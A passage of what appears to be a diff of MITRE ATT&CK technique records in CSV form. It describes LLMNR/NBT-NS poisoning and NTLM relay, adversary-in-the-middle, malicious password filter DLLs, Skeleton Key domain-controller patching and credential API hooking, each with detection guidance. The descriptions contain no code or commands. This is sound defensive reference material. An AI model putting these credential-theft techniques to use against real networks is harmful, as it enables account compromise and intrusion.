LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS) Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) -Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)",attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e,attack-pattern,"['credential-access', 'collection']",2020-03-31T13:54:08.239Z,2020-02-11T19:08:51.677Z,"Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the ""EnableMulticast"" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS) +Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)","['credential-access', 'collection']",https://attack.mitre.org/techniques/T1557/001,mitre-attack,T1557.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Eric Kuehn, Secure Ideas', 'Matthew Demaske, Adaptforward']","['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,"Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the ""EnableMulticast"" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS) Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy. -Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']","['Eric Kuehn, Secure Ideas', 'Matthew Demaske, Adaptforward']",,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1557', 'url': 'https://attack.mitre.org/techniques/T1557'}, {'external_id': 'CAPEC-94', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/94.html'}, {'source_name': 'Rapid7 MiTM Basics', 'url': 'https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/', 'description': 'Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.1,False,https://attack.mitre.org/techniques/T1557,mitre-attack,T1557,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Man-in-the-Middle,"Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) +Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1557', 'external_id': 'T1557'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/94.html', 'external_id': 'CAPEC-94'}, {'source_name': 'Rapid7 MiTM Basics', 'description': 'Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.', 'url': 'https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/'}]",2.0,attack-pattern,attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:07:12.114Z,2021-09-28T13:09:51.467Z,Adversary-in-the-Middle,"Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) -Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.",attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d,attack-pattern,"['credential-access', 'collection']",2020-10-16T15:19:48.733Z,2020-02-11T19:07:12.114Z,Monitor network traffic for anomalies associated with known MiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']","['Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project']",,['User'],"['Windows', 'macOS', 'Linux']",,CAPEC-94,https://capec.mitre.org/data/definitions/94.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1556.002', 'url': 'https://attack.mitre.org/techniques/T1556/002'}, {'url': 'http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html', 'description': 'Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.', 'source_name': 'Carnal Ownage Password Filters Sept 2013'}, {'url': 'https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/', 'description': 'Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.', 'source_name': 'Clymb3r Function Hook Passwords Sept 2013'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.0,True,https://attack.mitre.org/techniques/T1556/002,mitre-attack,T1556.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Password Filter DLL,"Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. +Adversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.","['credential-access', 'collection']",https://attack.mitre.org/techniques/T1557,mitre-attack,T1557,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project']","['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.,False,['User'],"['Windows', 'macOS', 'Linux']",,CAPEC-94,https://capec.mitre.org/data/definitions/94.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1556/002', 'external_id': 'T1556.002'}, {'source_name': 'Carnal Ownage Password Filters Sept 2013', 'description': 'Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.', 'url': 'http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html'}, {'source_name': 'Clymb3r Function Hook Passwords Sept 2013', 'description': 'Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.', 'url': 'https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/'}]",2.0,attack-pattern,attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:05:45.829Z,2021-04-20T20:11:55.147Z,Password Filter DLL,"Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. -Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)",attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42,attack-pattern,"['credential-access', 'defense-evasion', 'persistence']",2021-04-20T20:11:55.147Z,2020-02-11T19:05:45.829Z,"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. +Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)","['credential-access', 'defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1556/002,mitre-attack,T1556.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Vincent Le Toux'],"['File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",,"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. -Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)","['File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",['Vincent Le Toux'],,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1556.001', 'url': 'https://attack.mitre.org/techniques/T1556/001'}, {'source_name': 'Dell Skeleton', 'description': 'Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.', 'url': 'https://www.secureworks.com/research/skeleton-key-malware-analysis'}, {'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'source_name': 'TechNet Audit Policy'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.0,True,https://attack.mitre.org/techniques/T1556/001,mitre-attack,T1556.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Controller Authentication,"Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. +Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)",True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1556/001', 'external_id': 'T1556.001'}, {'source_name': 'Dell Skeleton', 'description': 'Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.', 'url': 'https://www.secureworks.com/research/skeleton-key-malware-analysis'}, {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'}]",2.0,attack-pattern,attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:05:02.399Z,2021-04-20T20:10:26.613Z,Domain Controller Authentication,"Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. -Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)",attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605,attack-pattern,"['credential-access', 'defense-evasion', 'persistence']",2021-04-20T20:10:26.613Z,2020-02-11T19:05:02.399Z,"Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) +Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)","['credential-access', 'defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1556/001,mitre-attack,T1556.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification']",,"Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) -Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ","['Logon Session: Logon Session Creation', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification']",,,['Administrator'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1556', 'url': 'https://attack.mitre.org/techniques/T1556'}, {'url': 'https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/', 'description': 'Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.', 'source_name': 'Clymb3r Function Hook Passwords Sept 2013'}, {'source_name': 'Dell Skeleton', 'description': 'Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.', 'url': 'https://www.secureworks.com/research/skeleton-key-malware-analysis'}, {'source_name': 'Xorrior Authorization Plugins', 'url': 'https://xorrior.com/persistent-credential-theft/', 'description': 'Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.'}, {'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'source_name': 'TechNet Audit Policy'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.0,False,https://attack.mitre.org/techniques/T1556,mitre-attack,T1556,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify Authentication Process,"Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). +Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ",True,['Administrator'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1556', 'external_id': 'T1556'}, {'source_name': 'Clymb3r Function Hook Passwords Sept 2013', 'description': 'Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.', 'url': 'https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/'}, {'source_name': 'Dell Skeleton', 'description': 'Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.', 'url': 'https://www.secureworks.com/research/skeleton-key-malware-analysis'}, {'source_name': 'Xorrior Authorization Plugins', 'description': 'Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.', 'url': 'https://xorrior.com/persistent-credential-theft/'}, {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'}]",2.0,attack-pattern,attack-pattern--f4c1826f-a322-41cd-9557-562100848c84,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:01:56.887Z,2021-10-17T14:48:33.990Z,Modify Authentication Process,"Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). -Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.",attack-pattern--f4c1826f-a322-41cd-9557-562100848c84,attack-pattern,"['credential-access', 'defense-evasion', 'persistence']",2021-04-26T20:08:31.712Z,2020-02-11T19:01:56.887Z,"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. +Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.","['credential-access', 'defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1556,mitre-attack,T1556,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Chris Ross @xorrior'],"['Logon Session: Logon Session Creation', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification', 'File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",,"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013) @@ -1471,26 +1663,26 @@ Monitor PAM configuration and module paths (ex: /etc/pam.d/) for ch Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins) -Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","['Logon Session: Logon Session Creation', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification', 'File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",['Chris Ross @xorrior'],,,"['Windows', 'Linux', 'macOS', 'Network']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1056.004', 'url': 'https://attack.mitre.org/techniques/T1056/004'}, {'source_name': 'Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017', 'description': 'Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.', 'url': 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx', 'description': 'Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.', 'source_name': 'Microsoft Hook Overview'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}, {'url': 'https://www.adlice.com/userland-rootkits-part-1-iat-hooks/', 'description': 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.', 'source_name': 'Adlice Software IAT Hooks Oct 2014'}, {'url': 'https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/', 'description': 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.', 'source_name': 'MWRInfoSecurity Dynamic Hooking 2015'}, {'url': 'https://www.exploit-db.com/docs/17802.pdf', 'description': 'Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.', 'source_name': 'HighTech Bridge Inline Hooking Sept 2011'}, {'url': 'https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html', 'description': 'Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.', 'source_name': 'Volatility Detecting Hooks Sept 2012'}, {'url': 'https://github.com/prekageo/winhook', 'description': 'Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.', 'source_name': 'PreKageo Winhook Jul 2011'}, {'url': 'https://github.com/jay/gethooks', 'description': 'Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.', 'source_name': 'Jay GetHooks Sept 2011'}, {'url': 'https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/', 'description': 'Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.', 'source_name': 'Zairon Hooking Dec 2006'}, {'url': 'https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/', 'description': 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.', 'source_name': 'EyeofRa Detecting Hooking June 2017'}, {'url': 'http://www.gmer.net/', 'description': 'GMER. (n.d.). GMER. Retrieved December 12, 2017.', 'source_name': 'GMER Rootkits'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx', 'description': 'Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.', 'source_name': 'Microsoft Process Snapshot'}, {'url': 'https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis', 'description': 'Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.', 'source_name': 'StackExchange Hooks Jul 2012'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1056/004,mitre-attack,T1056.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Credential API Hooking,"Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: +Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",False,,"['Windows', 'Linux', 'macOS', 'Network']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1056/004', 'external_id': 'T1056.004'}, {'source_name': 'Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017', 'description': 'Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.', 'url': 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918'}, {'source_name': 'Microsoft Hook Overview', 'description': 'Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'Adlice Software IAT Hooks Oct 2014', 'description': 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.', 'url': 'https://www.adlice.com/userland-rootkits-part-1-iat-hooks/'}, {'source_name': 'MWRInfoSecurity Dynamic Hooking 2015', 'description': 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.', 'url': 'https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/'}, {'source_name': 